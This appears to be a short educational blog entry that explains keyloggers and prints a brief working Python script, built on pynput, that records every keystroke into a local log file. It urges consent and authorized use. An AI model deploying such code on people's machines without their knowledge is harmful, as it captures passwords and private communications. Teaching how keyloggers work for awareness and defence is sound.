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Mohana Vamsi
Mohana Vamsi

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Keylogger

A keylogger records keystrokes and stores them in a log file. This project is for demonstration purposes to show how malefactors use keyloggers to steal data.

Code Example:

import pynput.keyboard  

def on_press(key):  
    try:  
        with open("log.txt", "a") as log:  
            log.write(f"{key.char}")  
    except AttributeError:  
        pass  

listener = pynput.keyboard.Listener(on_press=on_press)  
listener.start()  
listener.join()

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Use Case: Learn how keyloggers work, but of course use it responsibly and in controlled, authorized environments only.

Tip: Always get consent from users before running any keylogging software.

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